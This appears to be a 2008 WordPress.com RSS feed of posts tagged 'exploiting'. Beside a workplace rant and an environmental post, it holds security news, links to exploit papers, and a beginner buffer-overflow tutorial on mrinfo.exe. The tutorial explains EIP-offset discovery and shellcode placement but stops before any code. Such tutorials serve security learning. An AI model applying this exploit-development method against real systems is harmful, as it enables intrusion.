<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>exploiting &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://wordpress.com/tag/exploiting/</link>
	<description>Feed of posts on WordPress.com tagged "exploiting"</description>
	<pubDate>Fri, 25 Jul 2008 23:53:40 +0000</pubDate>

	<generator>http://wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Why Posting Here Has Sucked Lately]]></title>
<link>http://offourpedestals.wordpress.com/?p=56</link>
<pubDate>Wed, 21 May 2008 10:53:51 +0000</pubDate>
<dc:creator>ilyka</dc:creator>
<guid>http://offourpedestals.wordpress.com/?p=56</guid>
<description><![CDATA[It&#8217;s my job, basically.  It&#8217;s not my company (my company is quite good as medical transc]]></description>
<content:encoded><![CDATA[<p>It's my job, basically.  It's not my company (my company is quite good as medical transcription businesses go, and that is mostly <em>not</em> intended to be a backhanded compliment, even!) and it's definitely not my supervisor, whom I love.  It's the industry in general, which is vanishing in this really slow and painful way like, first we'll just need you to give us your fifth toenail, and you go, "Okay, I can get by without that," and then a few months later it's the first joint on your fifth toe, and you go, "That's going to be a bit tougher, but okay."  Except from there it just keeps creeping up your body, and--if I were the type to throw dramatics, I would say "and into your very soul."  Wait!--I AM the type to throw dramatics!  So, yes.</p>
<p>Dramatics or no dramatics, I don't talk about work as a rule because I get one of two reactions:  From the right, I get told to "quit whining."  "Quit whining" is the right-wing solution to every problem, except for those problems that require right-wingers themselves to quit whining, like global warming or other people's sexual or reproductive habits.  Quit whining!--But if you tell me I can't own two SUVs and boss around all who are other than white/male/het/etc., that is OMG OPPRESSION, and also, WHAT PRICE LIBERTY?!</p>
<p>I am <em>sick</em> of that shit.</p>
<p>From the left, it's "go back to school."  "More education" is the left-wing solution to every problem.  I'm not even going to start on this--ooh, too late.  It's begun.</p>
<p><!--more--><br />
See, I've been accused more than once of having a chip on my shoulder about academics and, hey, go ahead and fire away at me on that one, but I don't have to stand here feeding you fresh shells while you do it.  Let's just say that if you chirp "you need more education!" at me in the mood I'm in right now, it's only going to earn you a foot in your ass.</p>
<p>I don't, by the way, resent academics.  I LIKE them.  I live with someone who's on that track.  What I resent are all the corporate <a href="http://www.lookatmystripedshirt.com/articleLAMSS.asp">striped shirts</a> who decided that you need a college degree to be an administrative assistant or a bank clerk.  Those aren't academics; those are shitheads who figured out that if they can't legally keep people who aren't in their class out of the workplace, they can at least ensure that the workplace is filled with people who are, if not just like them, then aspiring to be just like them.  Requiring degrees for jobs that frankly don't need them is just one of the tools of that little trade.</p>
<p>My grandmother retired from a senior position in the accounting department of one of the top advertising firms on Madison Avenue.  The company rewarded her with--look, let's just say she did well for herself.  It would not be an exaggeration to say she was beloved by the firm.  But she worked her way up to that position from mail clerk, and she graduated the eighth grade.  CATCH that happening now--and yet if people really believed in class mobility to a fraction of the extent they extol its virtues, that's the sort of thing that would happen all the time.</p>
<p>No.  "You must have a degree in order to fetch me Starbucks and schedule my meetings, and oh, p.s., that is all you will ever do around here," is just a way to weed out "not our kind of people" from "our kind of people," by disguising it as an issue of merit.  Deep down, everyone knows this, but it's yucky to admit it, because admitting it might mean that you're not so meritorious, either--and who wants to confront a possibility like that?  I know I don't.  I <em>am too</em> special!</p>
<p>"More education!"  Yeah, it's like when I asked this guy once what he did for a living:  He said, "I <em>live</em> to learn.  I <em>work</em> to make enough money to do that."  And of course I immediately thought, "Oh, you pompous ass," but I see his point.  I am interested in more education for the purpose of, get this, learning.  I am not interested in more education for the purpose of setting some fuckface HR Director's mind at ease that I'm a good worker, I am!--and if I only dress right and speak correctly and graduate from his alma mater and (most critical) keep my mouth shut when the boss ducks out early for a round of golf and/or mistress-boinking, I, too, can be Eliza Doolittle someday.</p>
<p>I am a little burned out on all things employment-oriented right now.  Reading imbecility, such as this fine article titled, I'm so not fucking kidding about this, "<a href="http://www.businessweek.com/managing/content/may2008/ca20080515_250308.htm?chan=search">Ten Reasons Gen Xers Are Unhappy at Work</a>," does not help.  Reading that imbecility after reading an article in the same publication about <a href="http://www.businessweek.com/bwdaily/dnflash/content/may2008/db20080519_925357.htm?chan=search">people not having enough money to pave over their dirt floors or install indoor toilets or eat regularly</a>?--I don't even have words.</p>
<p>Well, I have two words:  <a href="http://www.businessweek.com/smallbiz/content/apr2008/sb20080418_912112.htm?chan=search">Fuck you</a>:</p>
<blockquote><p>My job, he explained, would be to assemble data on auto parts the factory produced and send it to somewhere in Mexico. As he started to speed through the details, I interrupted him, asking, "Can I ask you why I'll be doing this? You must already have this data in your database."</p>
<p>He nodded. "That is true," he said. "The reason is so customs can see what's coming in and we can see what's going out."</p>
<p>I interrupted again. "I'm registering this stuff so that it can be made elsewhere? So I'm helping to get all of these people fired?"</p>
<p>He nodded again.</p></blockquote>
<p>Dude, bonus!  You're not just helping to get all of those people fired; you're also helping to exploit all these other people in Mexico!  But at least you LEARNED things, amirite?  You learned about "the dilemmas and human cost of competing in a global marketplace."  Is this the kind of more-education I need?  That anyone needs?</p>
<blockquote><p>As the factory's closing date neared, the number of last-day events—parties is the wrong word—increased. These events weren't catered. Workers made the food themselves and brought it in: salads, rice and beans, fried fish. I could see the solidarity and kindness in the interactions of the people, mostly Hispanic women who had been there for decades.</p>
<p>Toward the end of my stint, I attended a formal lunch for about 70 longtime employees. It included a speech from someone I assumed was in upper management. He sketched the history of the factory. It had been here for 70-odd years. People had told the company it couldn't have a major manufacturing location in New York City—the costs were too high. He told the audience they had proved the naysayers wrong. He told them it was the global costs of labor that had made the closing necessary. He said that a year ago, when the decision to close the factory was announced, a typical business pundit would have said productivity would go down, but it had actually gone up. He told the audience to be proud of this.</p>
<p><strong>I reflected on what he'd said about productivity. If it had gone up, then what were the criteria for sending the factory to Mexico?</strong> I saw highly trained, highly experienced people sitting to the right of me. How much would it cost to train workers in Reynosa? How many costly molding devices would be broken? <em>[Those Mexicans, always breaking things!  So careless--ed.]</em>  Would this closing really help? <strong>I thought about the drawbacks of committing to a strategy that means chasing the lowest labor costs around the world</strong>.</p></blockquote>
<p>Then, recent college graduate, please pardon me, but education or no education, you're a damn fool for missing what's right in front of your face:  For the people who make these decisions, the people who give you these temp jobs and ask you to kinda-sorta-lie about them, <em>there are no drawbacks</em> to committing to that strategy.  You understand?--They don't give a shit.  And perhaps you really don't, either, if you're willing to hawk this to <em>Business Week</em>.</p>
<p>And perhaps I <em>do</em> need more education.  I need enough more-education to learn not to read fucking <em>Business Week</em>.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[[EN] Cross Site Request Forgery]]></title>
<link>http://p1t8ull.wordpress.com/?p=3</link>
<pubDate>Thu, 24 Apr 2008 20:55:03 +0000</pubDate>
<dc:creator>P1t8ull</dc:creator>
<guid>http://p1t8ull.wordpress.com/?p=3</guid>
<description><![CDATA[http://milw0rm.com/papers/159
Il Paper più completo che spiega cosa sono e come sfruttarli 
]]></description>
<content:encoded><![CDATA[<p>http://milw0rm.com/papers/159</p>
<p>Il Paper più completo che spiega cosa sono e come sfruttarli :D</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Tibet Websites – A Hackers Paradise!]]></title>
<link>http://billmullins.wordpress.com/?p=352</link>
<pubDate>Thu, 10 Apr 2008 17:43:43 +0000</pubDate>
<dc:creator>billmullins</dc:creator>
<guid>http://billmullins.wordpress.com/?p=352</guid>
<description><![CDATA[Security experts are warning that hackers are exploiting websites about Tibet, inserting malicious c]]></description>
<content:encoded><![CDATA[<p><a href="http://bp1.blogger.com/_mEJMxFc2RRo/R_5OS-Hiy9I/AAAAAAAAAOo/WRIH2Hx4ZNA/s1600-h/dalai-lama.jpg"><img style="float:left;cursor:pointer;margin:0 10px 10px 0;" src="http://bp1.blogger.com/_mEJMxFc2RRo/R_5OS-Hiy9I/AAAAAAAAAOo/WRIH2Hx4ZNA/s400/dalai-lama.jpg" border="0" alt="" /></a>Security experts are warning that hackers are exploiting websites about Tibet, inserting malicious code to infect the PCs of unwary surfers.ScanSafe has warned that sites such as FreeTibet.org and SaveTibet.org have been exposed as the world watches the protests currently surrounding the Olympic torch's journey across the world to Beijing.</p>
<p class="MsoNormal">Visitors to the homepages of these sites are redirected to a site that hosts a Trojan downloader which then attempts to infect the PC.</p>
<p>"Given the world's attention on relations between China and Tibet ahead of the Olympics, it makes sense that these sites would be targeted as web surfers go online to learn more about Tibet and Tibetan independence," said Spencer Parker, director of product management at ScanSafe.</p>
<p class="MsoNormal">He said that the attack appeared to have been the work of top-level hackers rather than amateur malware authors.</p>
<p>"These websites appear to have been specifically targeted as this is not a generic Trojan downloader. Someone or some group has gone to great trouble to rewrite the exploit and personalize it to the FreeTibet.org and SaveTibet.org websites," Parker said.</p>
<p class="MsoNormal">Source: <a href="http://hackinthebox.org/url.php?url=26361" target="_blank">Web User (UK)</a></p>
<p><span class="sbmLink"></p>
<table border="0" cellspacing="1" cellpadding="1">
<tbody>
<tr>
<td class="sbmText">Share this post :</td>
<td class="sbmDim"><a class="sbmDim" title="Post it to del.icio.us" href="http://del.icio.us/post?url=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;;title=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/deliciou4.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to digg" href="http://digg.com/submit?phase=2&#38;url=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;title=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/digg14.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to furl" href="http://www.furl.net/store?s=f&#38;to=0&#38;u=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;ti=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/furl4.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to live" href="https://favorites.live.com/quickadd.aspx?marklet=1&#38;mkt=en-us&#38;url=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;title=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/live4.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to spurl" href="http://www.spurl.net/spurl.php?v=3&#38;url=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;title=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/spurl8.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to technorati!" href="http://technorati.com/faves/?add=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;title=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/technora4.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to yahoo!" href="http://myweb.yahoo.com/myresults/bookmarklet?u=http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;t=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/yahoo9.png" border="0" alt="" /></a></td>
<td class="sbmDim"><a class="sbmDim" title="Post it to email" href="mailto:&#38;body=I%20was%20reading%20this%20article%20and%20thought%20that%20you%20might%20like%20this:http://billmullins.blogspot.com/2008/04/tibet-websites-hackers-paradise.html&#38;subject=Tibet%20Websites%20%E2%80%93%20A%20Hackers%20Paradise%21" target="_blank"><img src="http://blogs.msdn.com/blogfiles/rahulso/WindowsLiveWriter/IconsfordifferentSocialBookmarkingSites_B387/mail69854.gif" border="0" alt="" /></a></td>
</tr>
</tbody>
</table>
<p></span></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA["Story of Stuff" - Story of exploiting, making, selling, buying and trashing.]]></title>
<link>http://amzshoebox.wordpress.com/?p=33</link>
<pubDate>Fri, 14 Mar 2008 13:59:44 +0000</pubDate>
<dc:creator>Amanda Fong</dc:creator>
<guid>http://amzshoebox.wordpress.com/?p=33</guid>
<description><![CDATA[Sorry for not having written in here for a while! I&#8217;ve been busy doing many things, exams bein]]></description>
<content:encoded><![CDATA[<p>Sorry for not having written in here for a while! I've been busy doing many things, exams being amongst them. Ai! But I'm back, and this time, with more stuff about the environment.</p>
<p>In my Environmental Ethics class, my teacher showed us a video (<i><a href="http://www.storyofstuff.com/" target="_blank">Story of Stuff</a>) </i>that was not only very funny but tell us the story of consumerism. Just the humour in the video makes it worth watching! It tells us how much our society are brainwashed to buy, buy, buy, buy and buy more! That isn't truly the problem, because if you're rich and you're able to buy a lot of things, then good for you, right? The problems are found in the exploitation of natural resources to make those things you buy, in the process of making those products and disposing those products afterwards! Us, richer countries, we literally invade Third World countries, steal their resources because we don't have enough anymore and then pollute their lands with factories because we don't want to pollute ours. Other points in the video were made about the products we buy being fabricated with a multitude of extremely dangerous and toxic substances. It makes you doubt whether you'd die one day from the pen you're using or the spoon you're eating from, eh? the video also shows how people in society are stuck in a vicious circle to always work, work, work and then buy, buy, buy. It's so true! It shocks me to learn that we've only been programmed to think this way ever since after World War II when people wanted to make an economic boom. The last part of the video showed viewers that we dispose 99% of what we buy. It's an unconscious waste of money, thus of effort and time! All of our trash then gets burned and buried in the Earth, making our planet die 3 million times faster (okay, I'm exaggerating, but you get the point).</p>
<p>Anyways, enough said. Watch the video, have a great laugh and a good wake-up. It makes you think twice before you buy your next item. I'm not saying to stop going shopping; I know I wouldn't be able to do that! It just...before sliding your credit card, or handing in those purple, green, pink and brown bills, think about if you really REALLY love that item that much, or need it at all.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Tactical Exploitations - The other Way to Pentest ]]></title>
<link>http://y2h4ck.wordpress.com/?p=27</link>
<pubDate>Tue, 12 Feb 2008 17:36:24 +0000</pubDate>
<dc:creator>y2h4ck</dc:creator>
<guid>http://y2h4ck.wordpress.com/?p=27</guid>
<description><![CDATA[Encontrei isto e estou lendo, é bem interessante e tem muitos tópicos bacanas, acredito que seja u]]></description>
<content:encoded><![CDATA[<p>Encontrei isto e estou lendo, é bem interessante e tem muitos tópicos bacanas, acredito que seja um <b><i>Must Have</i></b> para todos os que trabalham com Pentest/Security</p>
<p><b>Autores</b> :<i> H D Moore (hdm[at]metasploit.com) ; Valsmith valsmith[at]metasploit.com)</i><br />
<b> Último Update: </b>08/09/2007</p>
<p><b>Título : </b><i>Tactical Exploitation OR "The Other Way to Pen-Test”  OR  "Random Pwning Fun Bag”</i></p>
<p>1.1      Abstract<br />
Penetration testing often focuses on individual vulnerabilities and services. This<br />
paper introduces a tactical approach that does not rely on exploiting known<br />
ﬂaws. The ﬁrst section of this paper covers information gathering and discovery<br />
techniques, with a concentration on third-party services and new tools. The<br />
second section of this paper combines the information discovery techniques in<br />
the ﬁrst section with various protocol and implementation weaknesses, in order<br />
to provide clear steps for gaining access to a target network.</p>
<p>Contents<br />
1 Introduction                                                                   3<br />
1.1 Abstract . . . . . . . . . . . .  . . . . . . . . . . . . . . . . . . . .  3<br />
1.2 Background . . . . . . .   . . .  . . . . . . . . . . . . . . . . . . . .  3<br />
1.3 Author Bio - HD Moore      . . .  . . . . . . . . . . . . . . . . . . . .  4<br />
1.4 Author Bio - Valsmith .    . . .  . . . . . . . . . . . . . . . . . . . .  4<br />
1.5 Acknowledgements . . .     . . .  . . . . . . . . . . . . . . . . . . . .  4<br />
2 The Tactical Approach                                                          5<br />
2.1 Vulnerabilties . . . . . . . . . . . . . . . . . . . . . . . . . . . . .   5<br />
2.2 Competition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .    5<br />
3 Information Discovery                                                          6<br />
3.1 Personnel Discovery . . . . . . . . . . .     . . . . . . . . . . . . . .  6<br />
3.1.1 Search Engines . . . . . . . . . .     . . . . . . . . . . . . . .  6<br />
3.1.2 Paterva’s Evolution . . . . . . .      . . . . . . . . . . . . . .  7<br />
3.2 Network Discovery . . . . . . . . . . . .     . . . . . . . . . . . . . .  8<br />
3.2.1 Discovery Services . . . . . . . .     . . . . . . . . . . . . . .  8<br />
3.2.2 Bounce Messages . . . . . . . . .      . . . . . . . . . . . . . .  9<br />
3.2.3 Virtual Hosting . . . . . . . . . .    . . . . . . . . . . . . . . 10<br />
3.2.4 Outbound DNS . . . . . . . . . .       . . . . . . . . . . . . . . 10<br />
3.2.5 Direct Contact . . . . . . . . . .     . . . . . . . . . . . . . . 11<br />
3.3 Firewalls and IPS . . . . . . . . . . . . .   . . . . . . . . . . . . . . 11<br />
3.3.1 Firewall Identiﬁcation . . . . . .     . . . . . . . . . . . . . . 12<br />
3.3.2 IPS Identiﬁcation . . . . . . . . .    . . . . . . . . . . . . . . 12<br />
3.4 Application Discovery . . . . . . . . . .     . . . . . . . . . . . . . . 12<br />
3.4.1 Slow and Steady wins the Deface        . . . . . . . . . . . . . . 12<br />
3.4.2 Finding Web Apps with W3AF .           . . . . . . . . . . . . . . 13<br />
3.4.3 Metasploit 3 Discovery Modules         . . . . . . . . . . . . . . 13<br />
3.5 Client Application Discovery . . . . . .      . . . . . . . . . . . . . . 14<br />
3.5.1 Browser Fingerprinting . . . . .       . . . . . . . . . . . . . . 14<br />
3.5.2 Mail Client Fingerprinting . . . .     . . . . . . . . . . . . . . 15<br />
3.5.3 SMB Client Fingerprinting . . .        . . . . . . . . . . . . . . 15<br />
3.6 Process Discovery . . . . . . . . . . . . .   . . . . . . . . . . . . . . 16<br />
3.6.1 Traﬃc Monitoring with IP IDs .         . . . . . . . . . . . . . . 16<br />
3.6.2 Web Site Monitoring with HTTP . . . . . . . . . . . . . .         17<br />
3.6.3 Usage Monitoring with MS FTP . . . . . . . . . . . . . .          17<br />
4 Information Exploitation                                                     19<br />
4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19<br />
4.2 External Networks . . . . . . . . . . . . . .    . . . . . . . . . . . . 19<br />
4.2.1 Attacking File Transfers . . . . . . .    . . . . . . . . . . . . 19<br />
4.2.2 Attacking Mail Services . . . . . . .     . . . . . . . . . . . . 21<br />
4.2.3 Attacking Web Servers . . . . . . . .     . . . . . . . . . . . . 21<br />
4.2.4 Attacking DNS Servers . . . . . . .       . . . . . . . . . . . . 21<br />
4.2.5 Attacking Database Servers . . . . .      . . . . . . . . . . . . 22<br />
4.2.6 Attacking NTLM Authentication . .         . . . . . . . . . . . . 22<br />
4.2.7 Free Hardware . . . . . . . . . . . .     . . . . . . . . . . . . 23<br />
4.3 Internal Networks . . . . . . . . . . . . . . .  . . . . . . . . . . . . 23<br />
4.3.1 Web Proxy Auto-Discovery Protocol         . . . . . . . . . . . . 24<br />
4.3.2 Microsoft DNS Servers . . . . . . . .     . . . . . . . . . . . . 24<br />
4.3.3 Microsoft WINS Servers . . . . . . .      . . . . . . . . . . . . 25<br />
4.3.4 Exploiting NTLM Relays . . . . . .        . . . . . . . . . . . . 25<br />
4.3.5 SMB and Samba . . . . . . . . . . .       . . . . . . . . . . . . 26<br />
4.4 Trust Relationships . . . . . . . . . . . . . .  . . . . . . . . . . . . 28<br />
4.4.1 NFS Home Directories . . . . . . . .      . . . . . . . . . . . . 29<br />
4.4.2 Hijacking SSH . . . . . . . . . . . .     . . . . . . . . . . . . 30<br />
4.4.3 Hijacking Kerberos . . . . . . . . . .    . . . . . . . . . . . . 31<br />
5 Conclusion                                                                   34</p>
<p>Aproveitem este livro maravilhoso escrito por quem realmente entende da coisa =]<br />
http://packetstorm.offensive-security.com/papers/attack/tactical_paper.pdf</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Maybe Exploiting WordPress Themes?]]></title>
<link>http://sakib.wordpress.com/2007/11/27/hackers-maybe-exploiting-wordpress-themes/</link>
<pubDate>Tue, 27 Nov 2007 15:25:01 +0000</pubDate>
<dc:creator>Sakib</dc:creator>
<guid>http://sakib.wordpress.com/2007/11/27/hackers-maybe-exploiting-wordpress-themes/</guid>
<description><![CDATA[ 
On 26th november, Alistair Croll did a post on GIGAOM  - Are Hackers Exploiting WordPress Themes]]></description>
<content:encoded><![CDATA[<p> <img src="http://sakib.files.wordpress.com/2007/11/wpsphere_banned.png" /></p>
<p>On 26th november, <span class="author"><a href="http://gigaom.com/author/acroll/" title="Posts by Alistair Croll">Alistair Croll</a></span> did a post on <a href="http://gigaom.com" target="_blank">GIGAOM  </a>- <a href="http://gigaom.com/2007/11/26/wordpress-themes-security-problems/" target="_blank">Are Hackers Exploiting WordPress Themes? </a></p>
<p>On the other hand, <a href="http://5thirtyone.com/archives/870">Punsalan has a write-up  </a>did one post<a href="http://5thirtyone.com/archives/870" title="Do not download WordPress themes distributed by 3rd party sites"> Do not download WordPress themes distributed by 3rd party sites</a></p>
<h3><font color="#ff0000">Don't download any theme from this site <strong><a href="http://www.wpsphere.com/" target="_blank">wpsphere</a></strong></font></h3>
<p>Now the day is coming to think about it and always we should aware about that kinds of hacking.</p>
<h4 class="author-pic author-acroll"></h4>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Maybe Exploiting WordPress Themes?]]></title>
<link>http://sakib.wordpress.com/2007/11/27/hackers-maybe-exploiting-wordpress-themes/</link>
<pubDate>Tue, 27 Nov 2007 15:25:01 +0000</pubDate>
<dc:creator>Sakib</dc:creator>
<guid>http://sakib.wordpress.com/2007/11/27/hackers-maybe-exploiting-wordpress-themes/</guid>
<description><![CDATA[ 
On 26th november, Alistair Croll did a post on GIGAOM  - Are Hackers Exploiting WordPress Themes]]></description>
<content:encoded><![CDATA[<p> <img src="http://sakib.files.wordpress.com/2007/11/wpsphere_banned.png" /></p>
<p>On 26th november, <span class="author"><a href="http://gigaom.com/author/acroll/" title="Posts by Alistair Croll">Alistair Croll</a></span> did a post on <a href="http://gigaom.com" target="_blank">GIGAOM  </a>- <a href="http://gigaom.com/2007/11/26/wordpress-themes-security-problems/" target="_blank">Are Hackers Exploiting WordPress Themes? </a></p>
<p>On the other hand, <a href="http://5thirtyone.com/archives/870">Punsalan has a write-up  </a>did one post<a href="http://5thirtyone.com/archives/870" title="Do not download WordPress themes distributed by 3rd party sites"> Do not download WordPress themes distributed by 3rd party sites</a></p>
<h3><font color="#ff0000">Don't download any theme from this site <strong><a href="http://www.wpsphere.com/" target="_blank">wpsphere</a></strong></font></h3>
<p>Now the day is coming to think about it and always we should aware about that kinds of hacking.</p>
<h4 class="author-pic author-acroll"></h4>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Exploiting Windows NT 4 Buffer Overruns ]]></title>
<link>http://hessamx.wordpress.com/2007/03/15/exploiting-windows-nt-4-buffer-overruns/</link>
<pubDate>Thu, 15 Mar 2007 07:36:40 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2007/03/15/exploiting-windows-nt-4-buffer-overruns/</guid>
<description><![CDATA[This paper show how to exploiting buffer overruns on windows nt 4.
&#8220;This document is for educa]]></description>
<content:encoded><![CDATA[<p>This paper show how to exploiting buffer overruns on windows nt 4.<br />
"<em>This document is for educational purposes only and explains what a<br />
buffer overrun is and shows how they can be exploited on the Windows<br />
NT 4 operating system using RASMAN.EXE as a case study. We will take a<br />
look at Windows NT processes, virtual address space, the dynamics of a<br />
buffer overrun and cover certain key issues such as explaining what a<br />
stack is and what the ESP, EBP and EIP CPU registers are and do. With<br />
these covered we'll look into the buffer overrun found in RASMAN.EXE.<br />
This document may be freely copied and distributed only in its<br />
entirety and if credit is given.</em>"<br />
<a target="_blank" href="http://milw0rm.persiangig.com/ntbuf.txt">View this paper</a> .</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[win32 Buffer Overflow]]></title>
<link>http://hessamx.wordpress.com/2007/02/08/win32-buffer-overflow/</link>
<pubDate>Thu, 08 Feb 2007 11:49:47 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2007/02/08/win32-buffer-overflow/</guid>
<description><![CDATA[Real Life Vuln-Dev Process of a Win32 Stack Buffer Overflow
Introduction from the paper:
Many times ]]></description>
<content:encoded><![CDATA[<p>Real Life Vuln-Dev Process of a Win32 Stack Buffer Overflow<br />
<strong>Introduction from the paper:<br />
</strong>Many times Sergio has been asked for writing a paper about how to code an exploit for win32, for two reasons, first because there are many papers about exploitation on *nix, but few about how to exploit on win32 world, and second because papers about win32 exploitation get very difficult to be understood by people without a good understanding of ASM, C languages. So Sergio thought that the best way to do something clear he had to write something as simple as possible, without leaving nothing to guess by the readers. Well this is what Sergio think is the easiest that he could do. And explaining the hole process of finding, debugging and exploiting a black box application. For this purpose Sergio has chosen 'War-FTPd v1.65' a known stack b0f bugged software, which is gonna be used in this tutorial.</p>
<p><!--more--><br />
view this paper on <a href="http://packetstormsecurity.nl/papers/Win2000/Intro_to_Win32_Exploits.pdf" target="_blank">packetstorm security (pdf format)</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Vista Exploit !]]></title>
<link>http://hessamx.wordpress.com/2007/01/03/windows-vista-exploit/</link>
<pubDate>Wed, 03 Jan 2007 17:52:20 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2007/01/03/windows-vista-exploit/</guid>
<description><![CDATA[A Microsoft Windows Vista exploit has surfaced on a Russian website. From what it looks like, this i]]></description>
<content:encoded><![CDATA[<p>A <a target="_blank" href="http://blogs.technet.com/msrc/archive/2006/12/22/new-report-of-a-windows-vulnerability.aspx" title="new-report-of-a-windows-vulnerability">Microsoft Windows Vista exploit</a> has surfaced on <a target="_blank" href="http://www.kuban.ru/forum_new/forum2/files/19124.html" title="windows vista exploit">a Russian website</a>. From what it looks like, this is a privilege escalation vulnerability within csrss.exe which is the main executable for the Microsoft Client and Server runtime. This flaw is locally exploitable only, and affects all versions of Windows.<br />
Source : <a href="http://security-protocols.com">Security-protocols.com</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Writing exploit BoF on Windows]]></title>
<link>http://hessamx.wordpress.com/2006/12/25/writing-exploit-bof-on-windows/</link>
<pubDate>Mon, 25 Dec 2006 12:28:16 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/25/writing-exploit-bof-on-windows/</guid>
<description><![CDATA[This is a tutorial about writing exploit. We will use Mrinfo.exe Buffer for learning. nice paper for]]></description>
<content:encoded><![CDATA[<p>This is a tutorial about writing exploit. We will use Mrinfo.exe Buffer for learning. nice paper for noobs . step by step with pictures . source : coromputer.net (read more ...) <!--more--> Tools : - Debugger, we use OllyDbg but any others will be ok. - WinHex - Compiler ################################################################## For beginning, we have to find informations about hole that we will want exploit. There, we will use a simple hole in Mrinfo. The first thing to do is to find how create the buffer overflow on the computer. For this, the most of time, we have to find the advisory on k-otik or packetstormsecurity for example. In our case, we can read into the advisory "Mrinfo.exe is a tool used for Routing Multicast. There is a buffer overflow hole in Mrinfo.exe, the bug seems to be a bad handling of "-i" and "-n" settings that badly manage the values superior of 53 characters." We have to start mrinfo.exe with -1 [53 char] (sure, without these "[]"), for reproducing the bug. <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-1.jpg" /> So, we reproduced the bug, but we don't know if we can be able to do something with that. For knowing, we will check is we can crush EIP or not. I will show you how doing that with OllyDbg but we can do that with Visual Studio. First, we have to choose which program we will debug, there, sure, we will use mrinfo.exe. File -&#62; Open or F3, we go in system32 repertory and set -i [60A] for argument a little bit over the buffer into the advisory because our goal is to crash the program but too to crush EIP. The program is starting but not execute. At this time, we have to press F9 (or blue arrow in tools bar). <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-2.jpg" /> So, EIP is on 41414141 (41 = Hexa value for A in Ascii) but we can also see a part of our buffer directly into ESP. Our next goal is to learn the exact position of the characters that we will crush EIP and for that the only thing that we can do is to try. So, we start we something like mrinfo.exe -i [55A][10B] (Sure, always into the debugger). EIP select 42424242 (BBBB). Our RET will be situate between the characters 55 and 65. We will try mrinfo.exe -i [55A]ZZZZ[6B] and there, EIP select 425A5A5A (BZZZ). There is a B of too into the buffer, The characters of RET are 57 58 59 and 60. At this time, we know that our buffer will be like [56A][RET]... We have to find the place into the beginning of our shellcode and we will finally have the complete structure of our buffer. There, that will be not too hard, we will use a technic that we will also use to find the position of the RET. So, for that, we will start mrinfo.exe with -i [56A][ZZZZ][BCDEFGHIJKLMNOPQRSTUVWXY] for setting. <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-3.jpg" /> In our case, we have chance, ESP select after our RET but it isn't always the case, if we have enough place, we can also drop this step and simply add NOP into our buffer just after the RET and before the shellcode. Now, we know how crash the program and that can be easily set our shellcode into ESP, we also know the position of our RET and of the shellcode into the buffer. It's time to code ! 